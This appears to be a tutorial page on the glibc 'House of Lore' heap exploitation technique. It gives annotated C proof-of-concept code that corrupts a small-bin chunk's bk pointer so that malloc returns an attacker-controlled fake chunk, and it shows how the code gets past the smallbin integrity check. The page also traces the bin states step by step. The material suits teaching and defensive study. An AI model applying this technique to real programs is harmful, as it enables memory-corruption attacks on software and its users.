House of Lore
This attack is basically the forging chunks attack for small and large bins. However, due to an added protection for large bins in around 2007 (the introduction of fd_nextsize and bk_nextsize) it became impractical. Here we shall see the case only for small bins. First, a small chunk will be placed in a small bin. It's bk pointer will be overwritten to point to a fake small chunk. Note that in the case of small bins, insertion happens at the HEAD and removal at the TAIL. A malloc call will first remove the authentic chunk from the bin making the attacker's fake chunk at the TAIL of the bin. The next malloc will return the attacker's chunk.
Consider this sample code (download the complete version here):
1
struct small_chunk {
2
size_t prev_size;
3
size_t size;
4
struct small_chunk *fd;
5
struct small_chunk *bk;
6
char buf[0x64]; // chunk falls in smallbin size range
7
};
8
9
struct small_chunk fake_chunk; // At address 0x7ffdeb37d050
10
struct small_chunk another_fake_chunk;
11
struct small_chunk *real_chunk;
12
unsigned long long *ptr, *victim;
13
int len;
14
15
len = sizeof(struct small_chunk);
16
17
// Grab two small chunk and free the first one
18
// This chunk will go into unsorted bin
19
ptr = malloc(len); // points to address 0x1a44010
20
21
// The second malloc can be of random size. We just want that
22
// the first chunk does not merge with the top chunk on freeing
23
malloc(len); // points to address 0x1a440a0
24
25
// This chunk will end up in unsorted bin
26
free(ptr);
27
28
real_chunk = (struct small_chunk *)(ptr - 2); // points to address 0x1a44000
29
30
// Grab another chunk with greater size so as to prevent getting back
31
// the same one. Also, the previous chunk will now go from unsorted to
32
// small bin
33
malloc(len + 0x10); // points to address 0x1a44130
34
35
// Make the real small chunk's bk pointer point to &fake_chunk
36
// This will insert the fake chunk in the smallbin
37
real_chunk->bk = &fake_chunk;
38
// and fake_chunk's fd point to the small chunk
39
// This will ensure that 'victim->bk->fd == victim' for the real chunk
40
fake_chunk.fd = real_chunk;
41
42
// We also need this 'victim->bk->fd == victim' test to pass for fake chunk
43
fake_chunk.bk = &another_fake_chunk;
44
another_fake_chunk.fd = &fake_chunk;
45
46
// Remove the real chunk by a standard call to malloc
47
malloc(len); // points at address 0x1a44010
48
49
// Next malloc for that size will return the fake chunk
50
victim = malloc(len); // points at address 0x7ffdeb37d060
Copied!
Notice that the steps needed for forging a small chunk are more due to the complicated handling of small chunks. Particular care was needed to ensure that victim->bk->fd equals victim for every small chunk that is to be returned from 'malloc', to pass the "malloc(): smallbin double linked list corrupted" security check. Also, extra 'malloc' calls were added in between to ensure that:
    1.
    The first chunk goes to the unsorted bin instead of merging with the top chunk on freeing.
    2.
    The first chunk goes to the small bin as it does not satisfy a malloc request for len + 0x10.
The state of the unsorted bin and the small bin are shown:
    1.
    free(ptr). Unsorted bin:
    head <-> ptr <-> tail
    Small bin:
    head <-> tail
    2.
    malloc(len + 0x10); Unsorted bin:
    head <-> tail
    Small bin:
    head <-> ptr <-> tail
    3.
    Pointer manipulations Unsorted bin:
    head <-> tail
    Small bin:
    undefined <-> fake_chunk <-> ptr <-> tail
    4.
    malloc(len) Unsorted bin:
    head <-> tail
    Small bin:
    undefined <-> fake_chunk <-> tail
    5.
    malloc(len) Unsorted bin:
    head <-> tail
    Small bin:
    undefined <-> tail [ Fake chunk is returned ]
Note that another 'malloc' call for the corresponding small bin will result in a segmentation fault.
Last modified 1yr ago
Copy link